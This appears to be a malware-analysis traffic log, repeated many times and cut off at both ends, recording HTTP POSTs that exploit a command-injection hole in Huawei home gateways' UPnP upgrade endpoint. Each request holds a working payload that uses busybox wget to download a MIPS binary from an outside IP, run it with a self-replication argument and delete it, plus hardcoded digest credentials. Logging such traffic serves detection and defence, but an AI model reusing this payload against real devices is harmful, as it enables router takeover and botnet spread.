77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g 104.248.113.24 -l /tmp/bigH -r /duck3k/home.mips;chmod 777 /tmp/bigH;/tmp/bigH Huawei.Selfrep;rm -rf /tmp/bigH)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 31 33 2e 32 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 67 48 20 2d 72 20 2f 64 75 63 6b 33 6b 2f 68 6f 6d 65 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 62 69 67 48 3b 2f 74 6d 70 2f 62 69 67 48 20 48 75 61 77 65 69 2e 53 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 62 69 67 48 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g 104.248.113.24 -l /tmp/bigH -r /duck3k/home.mips;chmod 777 /tmp/bigH;/tmp/bigH Huawei.Selfrep;rm -rf /tmp/bigH)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 31 33 2e 32 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 67 48 20 2d 72 20 2f 64 75 63 6b 33 6b 2f 68 6f 6d 65 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 62 69 67 48 3b 2f 74 6d 70 2f 62 69 67 48 20 48 75 61 77 65 69 2e 53 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 62 69 67 48 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g 104.248.113.24 -l /tmp/bigH -r /duck3k/home.mips;chmod 777 /tmp/bigH;/tmp/bigH Huawei.Selfrep;rm -rf /tmp/bigH)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 31 33 2e 32 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 67 48 20 2d 72 20 2f 64 75 63 6b 33 6b 2f 68 6f 6d 65 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 62 69 67 48 3b 2f 74 6d 70 2f 62 69 67 48 20 48 75 61 77 65 69 2e 53 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 62 69 67 48 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g 104.248.113.24 -l /tmp/bigH -r /duck3k/home.mips;chmod 777 /tmp/bigH;/tmp/bigH Huawei.Selfrep;rm -rf /tmp/bigH)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 31 33 2e 32 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 67 48 20 2d 72 20 2f 64 75 63 6b 33 6b 2f 68 6f 6d 65 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 62 69 67 48 3b 2f 74 6d 70 2f 62 69 67 48 20 48 75 61 77 65 69 2e 53 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 62 69 67 48 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g 104.248.113.24 -l /tmp/bigH -r /duck3k/home.mips;chmod 777 /tmp/bigH;/tmp/bigH Huawei.Selfrep;rm -rf /tmp/bigH)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 31 33 2e 32 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 67 48 20 2d 72 20 2f 64 75 63 6b 33 6b 2f 68 6f 6d 65 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 62 69 67 48 3b 2f 74 6d 70 2f 62 69 67 48 20 48 75 61 77 65 69 2e 53 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 62 69 67 48 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g 104.248.113.24 -l /tmp/bigH -r /duck3k/home.mips;chmod 777 /tmp/bigH;/tmp/bigH Huawei.Selfrep;rm -rf /tmp/bigH)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 31 33 2e 32 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 67 48 20 2d 72 20 2f 64 75 63 6b 33 6b 2f 68 6f 6d 65 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 62 69 67 48 3b 2f 74 6d 70 2f 62 69 67 48 20 48 75 61 77 65 69 2e 53 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 62 69 67 48 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g 104.248.113.24 -l /tmp/bigH -r /duck3k/home.mips;chmod 777 /tmp/bigH;/tmp/bigH Huawei.Selfrep;rm -rf /tmp/bigH)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 31 33 2e 32 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 67 48 20 2d 72 20 2f 64 75 63 6b 33 6b 2f 68 6f 6d 65 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 62 69 67 48 3b 2f 74 6d 70 2f 62 69 67 48 20 48 75 61 77 65 69 2e 53 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 62 69 67 48 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g 104.248.113.24 -l /tmp/bigH -r /duck3k/home.mips;chmod 777 /tmp/bigH;/tmp/bigH Huawei.Selfrep;rm -rf /tmp/bigH)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 31 33 2e 32 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 67 48 20 2d 72 20 2f 64 75 63 6b 33 6b 2f 68 6f 6d 65 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 62 69 67 48 3b 2f 74 6d 70 2f 62 69 67 48 20 48 75 61 77 65 69 2e 53 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 62 69 67 48 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g 104.248.113.24 -l /tmp/bigH -r /duck3k/home.mips;chmod 777 /tmp/bigH;/tmp/bigH Huawei.Selfrep;rm -rf /tmp/bigH)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 31 33 2e 32 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 67 48 20 2d 72 20 2f 64 75 63 6b 33 6b 2f 68 6f 6d 65 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 62 69 67 48 3b 2f 74 6d 70 2f 62 69 67 48 20 48 75 61 77 65 69 2e 53 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 62 69 67 48 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g 104.248.113.24 -l /tmp/bigH -r /duck3k/home.mips;chmod 777 /tmp/bigH;/tmp/bigH Huawei.Selfrep;rm -rf 